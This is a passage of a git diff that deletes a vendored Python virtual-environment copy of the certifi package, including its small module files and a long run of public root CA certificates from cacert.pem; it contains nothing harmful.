authentication. -Just configure this file as the SSLCACertificateFile.# - -***** BEGIN LICENSE BLOCK ***** -This Source Code Form is subject to the terms of the Mozilla Public License, -v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain -one at http://mozilla.org/MPL/2.0/. - -***** END LICENSE BLOCK ***** -@(#) $RCSfile: certdata.txt,v $ $Revision: 1.80 $ $Date: 2011/11/03 15:11:58 $ diff --git a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/top_level.txt b/venv/Lib/site-packages/certifi-2026.7.22.dist-info/top_level.txt deleted file mode 100644 index 963eac530b9bc28d704d1bc410299c68e3216d4d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi-2026.7.22.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -certifi diff --git a/venv/Lib/site-packages/certifi/__init__.py b/venv/Lib/site-packages/certifi/__init__.py deleted file mode 100644 index 66dae9e5fc75868817e667eadeca1166c6ff5eed..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .core import contents, where - -__all__ = ["contents", "where"] -__version__ = "2026.07.22" diff --git a/venv/Lib/site-packages/certifi/__main__.py b/venv/Lib/site-packages/certifi/__main__.py deleted file mode 100644 index 8945b5da857f4a7dec2b84f1225f012f6098418c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi/__main__.py +++ /dev/null @@ -1,12 +0,0 @@ -import argparse - -from certifi import contents, where - -parser = argparse.ArgumentParser() -parser.add_argument("-c", "--contents", action="store_true") -args = parser.parse_args() - -if args.contents: - print(contents()) -else: - print(where()) diff --git a/venv/Lib/site-packages/certifi/cacert.pem b/venv/Lib/site-packages/certifi/cacert.pem deleted file mode 100644 index 9a40f439e0d77f3733b76489ae3bb42eaaf021d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/certifi/cacert.pem +++ /dev/null @@ -1,3959 +0,0 @@ - -# Issuer: CN=COMODO ECC Certification Authority O=COMODO CA Limited -# Subject: CN=COMODO ECC Certification Authority O=COMODO CA Limited -# Label: "COMODO ECC Certification Authority" -# Serial: 41578283867086692638256921589707938090 -# MD5 Fingerprint: 7c:62:ff:74:9d:31:53:5e:68:4a:d5:78:aa:1e:bf:23 -# SHA1 Fingerprint: 9f:74:4e:9f:2b:4d:ba:ec:0f:31:2c:50:b6:56:3b:8e:2d:93:c3:11 -# SHA256 Fingerprint: 17:93:92:7a:06:14:54:97:89:ad:ce:2f:8f:34:f7:f0:b6:6d:0f:3a:e3:a3:b8:4d:21:ec:15:db:ba:4f:ad:c7 ------BEGIN CERTIFICATE----- -MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTEL -MAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE -BxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMT -IkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwMzA2MDAw -MDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdy -ZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09N -T0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlv -biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSR -FtSrYpn1PlILBs5BAH+X4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0J -cfRK9ChQtP6IHG4/bC8vCVlbpVsLM5niwz2J+Wos77LTBumjQjBAMB0GA1UdDgQW -BBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ -BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VGFAkK+qDm -fQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdv -GDeAU/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= ------END CERTIFICATE----- - -# Issuer: CN=NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny O=NetLock Kft. OU=Tan\xfas\xedtv\xe1nykiad\xf3k (Certification Services) -# Subject: CN=NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny O=NetLock Kft. OU=Tan\xfas\xedtv\xe1nykiad\xf3k (Certification Services) -# Label: "NetLock Arany (Class Gold) F\u0151tan\xfas\xedtv\xe1ny" -# Serial: 80544274841616 -# MD5 Fingerprint: c5:a1:b7:ff:73:dd:d6:d7:34:32:18:df:fc:3c:ad:88 -# SHA1 Fingerprint: 06:08:3f:59:3f:15:a1:04:a0:69:a4:6b:a9:03:d0:06:b7:97:09:91 -# SHA256 Fingerprint: 6c:61:da:c3:a2:de:f0:31:50:6b:e0:36:d2:a6:fe:40:19:94:fb:d1:3d:f9:c8:d4:66:59:92:74:c4:46:ec:98 ------BEGIN CERTIFICATE----- -MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQG -EwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3 -MDUGA1UECwwuVGFuw7pzw610dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNl -cnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBBcmFueSAoQ2xhc3MgR29sZCkgRsWR -dGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgxMjA2MTUwODIxWjCB -pzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxOZXRM -b2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlm -aWNhdGlvbiBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNz -IEdvbGQpIEbFkXRhbsO6c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A -MIIBCgKCAQEAxCRec75LbRTDofTjl5Bu0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrT -lF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw/HpYzY6b7cNGbIRwXdrz -AZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAkH3B5r9s5 -VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRG -ILdwfzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2 -BJtr+UBdADTHLpl1neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAG -AQH/AgEEMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2M -U9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwWqZw8UQCgwBEIBaeZ5m8BiFRh -bvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTtaYtOUZcTh5m2C -+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC -bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2F -uLjbvrW5KfnaNwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2 -XjG4Kvte9nHfRCaexOYNkbQudZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= ------END CERTIFICATE----- - -# Issuer: CN=Microsec e-Szigno Root CA 2009 O=Microsec Ltd. -# Subject: CN=Microsec e-Szigno Root CA 2009 O=Microsec Ltd. -# Label: "Microsec e-Szigno Root CA 2009" -# Serial: 14014712776195784473 -# MD5 Fingerprint: f8:49:f4:03:bc:44:2d:83:be:48:69:7d:29:64:fc:b1 -# SHA1 Fingerprint: 89:df:74:fe:5c:f4:0f:4a:80:f9:e3:37:7d:54:da:91:e1:01:31:8e -# SHA256 Fingerprint: 3c:5f:81:fe:a5:fa:b8:2c:64:bf:a2:ea:ec:af:cd:e8:e0:77:fc:86:20:a7:ca:e5:37:16:3d:f3:6e:db:f3:78 ------BEGIN CERTIFICATE----- -MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYD -VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0 -ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0G -CSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTAeFw0wOTA2MTYxMTMwMThaFw0y -OTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3Qx -FjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3pp -Z25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o -dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvP -kd6mJviZpWNwrZuuyjNAfW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tc -cbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG0IMZfcChEhyVbUr02MelTTMuhTlAdX4U -fIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKApxn1ntxVUwOXewdI/5n7 -N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm1HxdrtbC -xkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1 -+rUCAwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G -A1UdDgQWBBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPM -Pcu1SCOhGnqmKrs0aDAbBgNVHREEFDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqG -SIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0olZMEyL/azXm4Q5DwpL7v8u8h -mLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfXI/OMn74dseGk -ddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 -tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c -2Pm2G2JwCz02yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5t -HMN1Rq41Bab2XD0h7lbwyYIiLXpUq3DDfSJlgnCW ------END CERTIFICATE----- - -# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R3 -# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign Root CA - R3 -# Label: "GlobalSign Root CA - R3" -# Serial: 4835703278459759426209954 -# MD5 Fingerprint: c5:df:b8:49:ca:05:13:55:ee:2d:ba:1a:c3:3e:b0:28 -# SHA1 Fingerprint: d6:9b:56:11:48:f0:1c:77:c5:45:78:c1:09:26:df:5b:85:69:76:ad -# SHA256 Fingerprint: cb:b5:22:d7:b7:f1:27:ad:6a:01:13:86:5b:df:1c:d4:10:2e:7d:07:59:af:63:5a:7c:f4:72:0d:c9:63:c5:3b ------BEGIN CERTIFICATE----- -MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4G -A1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNp -Z24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4 -MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMzETMBEG -A1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjCCASIwDQYJKoZI -hvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWtiHL8 -RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsT -gHeMCOFJ0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmm -KPZpO/bLyCiR5Z2KYVc3rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zd -QQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjlOCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZ -XriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2xmmFghcCAwEAAaNCMEAw -DgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI/wS3+o -LkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZU -RUm7lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMp -jjM5RcOO5LlXbKr8EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK -6fBdRoyV3XpYKBovHd7NADdBj+1EbddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQX -mcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18YIvDQVETI53O9zJrlAGomecs -Mx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7rkpeDMdmztcpH -WD9f ------END CERTIFICATE----- - -# Issuer: CN=Izenpe.com O=IZENPE S.A. -# Subject: CN=Izenpe.com O=IZENPE S.A. -# Label: "Izenpe.com" -# Serial: 917563065490389241595536686991402621 -# MD5 Fingerprint: a6:b0:cd:85:80:da:5c:50:34:a3:39:90:2f:55:67:73 -# SHA1 Fingerprint: 2f:78:3d:25:52:18:a7:4a:65:39:71:b5:2c:a2:9c:45:15:6f:e9:19 -# SHA256 Fingerprint: 25:30:cc:8e:98:32:15:02:ba:d9:6f:9b:1f:ba:1b:09:9e:2d:29:9e:0f:45:48:bb:91:4f:36:3b:c0:d4:53:1f ------BEGIN CERTIFICATE----- -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 ------END CERTIFICATE----- - -# Issuer: CN=Go Daddy Root Certificate Authority - G2 O=GoDaddy.com, Inc. -# Subject: CN=Go Daddy Root Certificate Authority - G2 O=GoDaddy.com, Inc. -# Label: "Go Daddy Root Certificate Authority - G2" -# Serial: 0 -# MD5 Fingerprint: 80:3a:bc:22:c1:e6:fb:8d:9b:3b:27:4a:32:1b:9a:01 -# SHA1 Fingerprint: 47:be:ab:c9:22:ea:e8:0e:78:78:34:62:a7:9f:45:c2:54:fd:e6:8b -# SHA256 Fingerprint: 45:14:0b:32:47:eb:9c:c8:c5:b4:f0:d7:b5:30:91:f7:32:92:08:9e:6e:5a:63:e2:74:9d:d3:ac:a9:19:8e:da ------BEGIN CERTIFICATE----- -MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx -EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT -EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp -ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz -NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH -EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE -AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw -DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD -E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH -/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy -DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh -GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR -tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA -AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE -FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX -WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu -9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr -gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo -2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO -LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI -4uJEvlz36hz1 ------END CERTIFICATE----- - -# Issuer: CN=Starfield Root Certificate Authority - G2 O=Starfield Technologies, Inc. -# Subject: CN=Starfield Root Certificate Authority - G2 O=Starfield Technologies, Inc. -# Label: "Starfield Root Certificate Authority - G2" -# Serial: 0 -# MD5 Fingerprint: d6:39:81:c6:52:7e:96:69:fc:fc:ca:66:ed:05:f2:96 -# SHA1 Fingerprint: b5:1c:06:7c:ee:2b:0c:3d:f8:55:ab:2d:92:f4:fe:39:d4:e7:0f:0e -# SHA256 Fingerprint: 2c:e1:cb:0b:f9:d2:f9:e1:02:99:3f:be:21:51:52:c3:b2:dd:0c:ab:de:1c:68:e5:31:9b:83:91:54:db:b7:f5 ------BEGIN CERTIFICATE----- -MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx -EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT -HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs -ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw -MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 -b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj -aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp -Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC -ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg -nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1 -HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N -Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN -dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0 -HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO -BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G -CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU -sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3 -4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg -8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K -pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1 -mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 ------END CERTIFICATE----- - -# Issuer: CN=Starfield Services Root Certificate Authority - G2 O=Starfield Technologies, Inc. -# Subject: CN=Starfield Services Root Certificate Authority - G2 O=Starfield Technologies, Inc. -# Label: "Starfield Services Root Certificate Authority - G2" -# Serial: 0 -# MD5 Fingerprint: 17:35:74:af:7b:61:1c:eb:f4:f9:3c:e2:ee:40:f9:a2 -# SHA1 Fingerprint: 92:5a:8f:8d:2c:6d:04:e0:66:5f:59:6a:ff:22:d8:63:e8:25:6f:3f -# SHA256 Fingerprint: 56:8d:69:05:a2:c8:87:08:a4:b3:02:51:90:ed:cf:ed:b1:97:4a:60:6a:13:c6:e5:29:0f:cb:2a:e6:3e:da:b5 ------BEGIN CERTIFICATE----- -MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMx -EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT -HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVs -ZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 -MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNVBAYTAlVTMRAwDgYD -VQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFy -ZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2Vy -dmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI -hvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20p -OsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm2 -8xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1K -Ts9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufe -hRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk -6mFBrMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAw -DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+q -AdcwKziIorhtSpzyEZGDMA0GCSqGSIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMI -bw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPPE95Dz+I0swSdHynVv/heyNXB -ve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTyxQGjhdByPq1z -qwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd -iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn -0q23KXB56jzaYyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCN -sSi6 ------END CERTIFICATE----- - -# Issuer: CN=Certum Trusted Network CA O=Unizeto Technologies S.A. OU=Certum Certification Authority -# Subject: CN=Certum Trusted Network CA O=Unizeto Technologies S.A. OU=Certum Certification Authority -# Label: "Certum Trusted Network CA" -# Serial: 279744 -# MD5 Fingerprint: d5:e9:81:40:c5:18:69:fc:46:2c:89:75:62:0f:aa:78 -# SHA1 Fingerprint: 07:e0:32:e0:20:b7:2c:3f:19:2f:06:28:a2:59:3a:19:a7:0f:06:9e -# SHA256 Fingerprint: 5c:58:46:8d:55:f5:8e:49:7e:74:39:82:d2:b5:00:10:b6:d1:65:37:4a:cf:83:a7:d4:a3:2d:b7:68:c4:40:8e ------BEGIN CERTIFICATE----- -MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBM 